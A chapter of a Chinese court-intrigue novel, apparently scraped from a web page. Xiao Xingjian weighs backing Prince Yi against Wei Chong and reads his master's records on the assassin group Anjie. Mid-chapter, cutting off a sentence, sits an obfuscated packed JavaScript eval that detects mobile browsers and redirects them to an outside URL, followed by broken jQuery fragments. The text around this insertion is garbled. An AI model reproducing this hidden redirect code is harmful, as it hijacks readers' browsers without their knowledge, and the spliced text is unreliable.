“是吗?”苏衿宁将信将疑,满脸写着不相信,“但我们现在……”
萧行简笑着揽过她的肩,“姑娘你想啊,要不是有你在,我们很难发现魏冲背着魏晓夫人养外室跟私生子,这样一来,魏忠大人还是会在朝堂上帮他说话,我们再想让他陷入孤立无援的境地就很难了。”
他说的一套接着一套,苏衿宁呆愣的听着他讲,连连点头,至于说了什么,一问三不知。
“好了姑娘,你也别太在意这些,魏冲现在想靠一封信就给我们定罪是不可能的,除非他能拿到其他线索。”萧行简一本正经说着,苏衿宁轻轻嗯了一声,喝了药便去休息了。
萧行简关上了门,闭上眼沉思着,察觉到青山靠近,偏了偏头,“你来了。”
“公子,你真准备帮逸王殿下吗?”青山刻意压低了声音,眼中满是担忧,“逸王殿下在容城没有自己的势力,真要跟太子、醇王硬碰硬的话,只怕没有什么胜算。”
萧行简淡淡点头,这些他当然清楚,只是目前来看,太子身边有魏冲在,李永宁身边有孟光,唯有李华皓,除了个逸王名头之外,一无所有。
“我知道。不过青山你觉得李德元即位后魏冲会不会找各种理由让我们在大梁消失,就算最后赢的人是李永宁,就凭他那多疑的性子,结果也是一样的,我们只能跟李华皓合作。”他深吸了口气,“这样就算我们真的赌错了,最坏的结果无非有两种,一是回山上,从前怎么过日子到时候就怎么过,二是离开大梁,远走高飞。”
“那齐纬呢?公子你不会早就知道他是齐国人了吧?”青山连忙追问,他总觉得齐纬的出现太过巧合,像是有人刻意为之,目的就是让他取得萧行简信任。
“齐纬吗?”萧行简眉头微皱,深吸了口气,“其实我也没想到他竟然是齐国人,还是个前些年失踪的质子。”
他苦笑着摇头,拍了拍青山的肩膀,“好了,你也别想太多,能做的我们都已经做了,剩下的谁也说不准。魏冲是个难对付的人,尽力而为,先保全自身。”
“公子,你……”青山皱眉看着他离开,心底隐隐有种不好的预感。
“我怎么了?”他回过头,月光下半张脸藏在夜色中,叫人看不清楚,“放心吧,我自有对策。”
青山忧心忡忡地离开,不晓得这次萧行简又准备做些什么。
书房里,不知不觉剩下的半截蜡烛也快要烧完了,萧行简还在翻找着什么东西。
屋里书架一角已经落了灰,他拿着烛台,一手挨个抚过有些泛黄的书,皱眉找着自己要的那本。
越往里走,书上的灰越多,有那么一瞬间,萧行简想把之前萧家负责打扫书房的下人重新寻来。
他屏息凝神,不敢大口呼吸,生怕一不小心吸进去一口灰尘。
最深处不知何时盖了一层蛛网的旧书上,赫然写着徐元基三字,这便是萧行简一直在找的书了。
萧行简拿着帕子,轻轻弄掉蛛网,又把上面的灰擦干净,用帕子把书拿了出来。
续上一根新蜡,他不慌不忙翻看着徐元基查到的每一个人,写下的每一种可能。
这是当年他们的两个师兄死后徐元基调查到的东西,若不是暗阁这个名字重新出现,他跟青山都险些忘了,当年一直到山上找事的那群人,都跟暗阁脱不开关系。
若是叫青山看到了,十有**会阻止他。两人下山前徐元基还特意交代了,叫他们两个没事干也别去查暗阁,若是惊动了那群疯子,到时候就算徐元基时刻跟在他们身边,都不敢保证安全。
暗阁是很久之前兴起的组织,他们自称是从不会失手,江湖之上也确实从没听到过暗阁成员出任务失败的消息。
但萧行简怀疑他们自己是不可能把这么丢人的事情主动说出去的,这也可能是个如果解决不了雇主想杀的人,那就把雇主给解决了的组织。
这虽然听起来很……奇怪,但如果是能跟魏冲这种人混到一起的组织,好像也不是不能接受。
他眉头紧锁,徐元基详细记录了暗阁这些年的动向,有不少案子是他们干的,报官后因着此事重大,上报给了京城,皇帝把这些都交给了锦衣卫。
暗阁最猖狂的时间,正是在魏冲当上指挥使的时候,甚至他还是副指挥使时,暗阁就已经开始借着魏冲的帮助肆无忌惮地在各地行凶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359577|179282||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
萧行简用笔又添了些东西,当年徐元基只查到暗阁背后的徐武,就被人偷袭打伤了。
要不是他跟青山及时找到,只怕现在他老人家的坟头草不比郝正信二人矮上多少。
他手指抚摸着这本记载着暗阁罪行的书,嘴角噙着一抹笑,好似又回到了他第一次跟青山一起下山历练的时候。
初春的天气还有些凉,徐元基却对他们两个很是放心,除了再三叮嘱他们之外,大手一挥放他们下山了。
徐元基最放心不下的便是,叫他们不要再学郝正信跟许严佑,闲的没事干去跟别人结仇,遇着事了一定要学会暗地里处理,别直接把自己给暴露了。
人老了遇着事心烦,要不是暗阁三番五次找人过来骚扰徐元基,他也不会直接把人打死。
这下可好了,他们跟暗阁算是彻底结了仇。
等萧行简和青山回去,路上远远看见个人倒在地上,过去一看,是徐元基。
他们一人一个胳膊把他给架了起来,架着他回山上可费了两人不少力气。
“师傅?”萧行简跪在他身侧去探徐元基鼻息,发现还有气便放下心来,拿着他磨的草药粉不要钱似的往徐元基身上招呼。
他是被萧行简粗暴的手法给疼醒的,但要是他们什么都不干,只怕第二天就能收拾收拾东西叫这师徒三人地下团聚了。
“你小子真是一点都不懂得珍惜,你知道这些东西为师费了多大力气才搞到手的吗?”徐元基劈头盖脸对着两人一顿骂,骂完就没了力气只能重新躺着。
“师兄,师傅他是不是生气了?”青山拽着他衣角,观察着徐元基脸色,小心翼翼的问着。
“青山你就放心好了,”萧行简无所谓摆手,带着青山直接越过徐元基回去休息,“老头子不会有事的,方才你没瞧见吗?他有的是力气,一时半会儿不会死的。”
微微泛黄的纸张上,徐元基细心标出了所有疑点,从暗阁的活动为什么越发猖狂,到现在他们又为什么很少出现在众人面前。
他抚摸着纸张,粗糙的触感又让他想起曾经那个带着自己练剑的人,他的手摸起来也有些粗糙。